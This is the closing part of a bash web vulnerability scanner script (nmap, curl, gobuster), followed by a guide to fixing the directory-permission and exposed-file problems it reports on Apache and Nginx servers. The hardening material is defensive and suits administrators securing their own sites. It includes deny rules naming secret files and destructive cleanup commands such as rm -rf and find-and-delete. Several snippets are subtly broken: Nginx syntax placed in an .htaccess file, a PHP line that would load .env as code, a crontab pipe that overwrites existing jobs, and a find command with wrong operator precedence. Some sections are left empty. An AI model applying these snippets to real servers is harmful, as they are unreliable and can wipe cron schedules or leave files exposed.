        echo -e "${YELLOW}⚡ RISK LEVEL: MEDIUM - Should be addressed${NC}"
    elif [ $LOW_COUNT -gt 0 ]; then
        echo -e "${BLUE}📋 RISK LEVEL: LOW - Monitor and plan fixes${NC}"
    else
        echo -e "${GREEN}✅ RISK LEVEL: MINIMAL - Good security posture${NC}"
    fi
    
    # Save summary to file
    {
        echo "Vulnerability Scan Summary for $TARGET"
        echo "======================================"
        echo "Scan Date: $(date)"
        echo ""
        echo "Critical: $CRITICAL_COUNT"
        echo "High: $HIGH_COUNT"
        echo "Medium: $MEDIUM_COUNT"
        echo "Low: $LOW_COUNT"
        echo "Informational: $INFO_COUNT"
        echo "Total: $TOTAL"
        echo ""
        echo "Additional Checks:"
        [ -f "${OUTPUT_DIR}/tls_issues.txt" ] && [ -s "${OUTPUT_DIR}/tls_issues.txt" ] && echo "TLS/SSL Issues: $(wc -l < "${OUTPUT_DIR}/tls_issues.txt")"
        [ -f "${OUTPUT_DIR}/directories_found.txt" ] && [ -s "${OUTPUT_DIR}/directories_found.txt" ] && echo "Directories Found: $(wc -l < "${OUTPUT_DIR}/directories_found.txt")"
        [ -f "${OUTPUT_DIR}/gobuster_permissions.txt" ] && [ -s "${OUTPUT_DIR}/gobuster_permissions.txt" ] && echo "Directory Permission Issues: $(wc -l < "${OUTPUT_DIR}/gobuster_permissions.txt")"
    } > "${OUTPUT_DIR}/summary.txt"
}

# Main execution
main() {
    echo "Starting vulnerability scan for $TARGET…"
    
    # Check if required tools are installed
    if ! command -v nmap &> /dev/null; then
        echo -e "${RED}Error: nmap is not installed. Please install nmap first.${NC}"
        exit 1
    fi
    
    if ! command -v curl &> /dev/null; then
        echo -e "${RED}Error: curl is not installed. Please install curl first.${NC}"
        exit 1
    fi
    
    # Check for optional tools
    if command -v gobuster &> /dev/null; then
        echo -e "${GREEN}✓ Gobuster found - Enhanced directory scanning enabled${NC}"
    else
        echo -e "${YELLOW}ℹ️  Gobuster not found - Basic directory scanning will be used${NC}"
        echo -e "${YELLOW}   Install with: brew install gobuster (macOS) or apt install gobuster (Linux)${NC}"
    fi
    
    # Run the main vulnerability scan
    run_scan
    
    # Run TLS/SSL checks
    run_tls_checks
    
    # Run directory discovery
    run_dirbuster
    
    # Parse results
    parse_vulnerabilities
    
    # Display formatted results
    display_results
    
    # Generate summary
    generate_summary
    
    # Cleanup temporary files
    rm -f "${OUTPUT_DIR}"/*.tmp
    
    print_header "SCAN COMPLETE"
    echo "All results saved in: $OUTPUT_DIR"
    echo "Summary saved in: ${OUTPUT_DIR}/summary.txt"
    echo -e "${GREEN}Scan completed at: $(date)${NC}"
}

# Run main function
main

Here’s a comprehensive guide on how to fix each type of directory permission issue that the above script might find (for apache):

## 1. **403 Forbidden Errors**

### What it means:
The directory/file exists but the server is denying access to it.

### How to fix:
# For Apache (.htaccess)
# Add to .htaccess in the directory:
Order deny,allow
Deny from all

# Or remove the directory from web access entirely
# Move sensitive directories outside the web root
mv /var/www/html/backup /var/backups/

# For Nginx
# Add to nginx.conf:
location /admin {
    deny all;
    return 404;  # Return 404 instead of 403 to hide existence
}
## 2. **401 Unauthorized Errors**

### What it means:
Authentication is required but may not be properly configured.

### How to fix:
# For Apache - create .htpasswd file
htpasswd -c /etc/apache2/.htpasswd username

# Add to .htaccess:
AuthType Basic
AuthName "Restricted Access"
AuthUserFile /etc/apache2/.htpasswd
Require valid-user

# For Nginx:
# Install apache2-utils for htpasswd
sudo apt-get install apache2-utils
htpasswd -c /etc/nginx/.htpasswd username

# Add to nginx.conf:
location /admin {
    auth_basic "Restricted Access";
    auth_basic_user_file /etc/nginx/.htpasswd;
}
## 3. **Directory Listing Enabled (CRITICAL)**

### What it means:
Anyone can see all files in the directory - major security risk!

### How to fix:
# For Apache
# Method 1: Add to .htaccess in the directory
Options -Indexes

# Method 2: Add to Apache config (httpd.conf or apache2.conf)
<Directory /var/www/html>
    Options -Indexes
</Directory>

# For Nginx
# Add to nginx.conf (Nginx doesn't have directory listing by default)
# If you see it enabled, remove:
autoindex off;  # This should be the default

# Create index files in empty directories
echo "<!DOCTYPE html><html><head><title>403 Forbidden</title></head><body><h1>403 Forbidden</h1></body></html>" > index.html
## 4. **Sensitive Files Exposed (CRITICAL)**

### Common exposed files and fixes:

#### **.git directory**
# Remove .git from production
rm -rf /var/www/html/.git

# Or block access via .htaccess
<Files ~ "^\.git">
    Order allow,deny
    Deny from all
</Files>

# For Nginx:
location ~ /\.git {
    deny all;
    return 404;
}
#### **.env file**
# Move outside web root
mv /var/www/html/.env /var/www/

# Update your application to read from new location
# In PHP: require_once __DIR__ . '/../.env';

# Block via .htaccess
<Files .env>
    Order allow,deny
    Deny from all
</Files>
#### **Configuration files (config.php, settings.php)**
# Move sensitive configs outside web root
mv /var/www/html/config.php /var/www/config/

# Or restrict access via .htaccess
<Files "config.php">
    Order allow,deny
    Deny from all
</Files>
#### **Backup files**
# Remove backup files from web directory
find /var/www/html -name "*.bak" -o -name "*.backup" -o -name "*.old" | xargs rm -f

# Create a cron job to clean regularly
echo "0 2 * * * find /var/www/html -name '*.bak' -o -name '*.backup' -delete" | crontab -
## 5. **General Security Best Practices**

### Create a comprehensive .htaccess file:
# Disable directory browsing
Options -Indexes

# Deny access to hidden files and directories
<Files .*>
    Order allow,deny
    Deny from all
</Files>

# Deny access to backup and source files
<FilesMatch "(\.(bak|backup|config|dist|fla|inc|ini|log|psd|sh|sql|swp)|~)$">
    Order allow,deny
    Deny from all
</FilesMatch>

# Protect sensitive files
location ~ /(\.htaccess|\.htpasswd|\.env|composer\.json|composer\.lock|package\.json|package-lock\.json)$ {
    deny all;
    return 404;
}

## 6. Quick Security Audit Commands
## Run these commands to find and fix common issues:

# Find all .git directories in web root
find /var/www/html -type d -name .git

# Find all .env files
find /var/www/html -name .env

# Find all backup files
find /var/www/html -type f \( -name "*.bak" -o -name "*.backup" -o -name "*.old" -o -name "*~" \)

# Find directories without index files (potential listing)
find /var/www/html -type d -exec sh -c '[ ! -f "$1/index.html" ] && [ ! -f "$1/index.php" ] && echo "$1"' _ {} \;

# Set proper permissions
find /var/www/html -type d -exec chmod 755 {} \;
find /var/www/html -type f -exec chmod 644 {} \;

## 7. Testing Your Fixes
## After implementing fixes, test them:

# Test that sensitive files are blocked
curl -I https://yoursite.com/.git/config
# Should return 403 or 404

# Test that directory listing is disabled
curl https://yoursite.com/images/
# Should not show a file list

# Run the vunscan.sh script again
./vunscan.sh yoursite.com
# Verify issues are resolved


## 8. Preventive Measures
## 1. Use a deployment script that excludes sensitive files:
bash
## 2. Regular security scans:
bash
## 3. Use a Web Application Firewall (WAF) like ModSecurity or Cloudflare

# Remember: The goal is not just to hide these files (security through obscurity) but to properly secure them or remove them from the web-accessible directory entirely.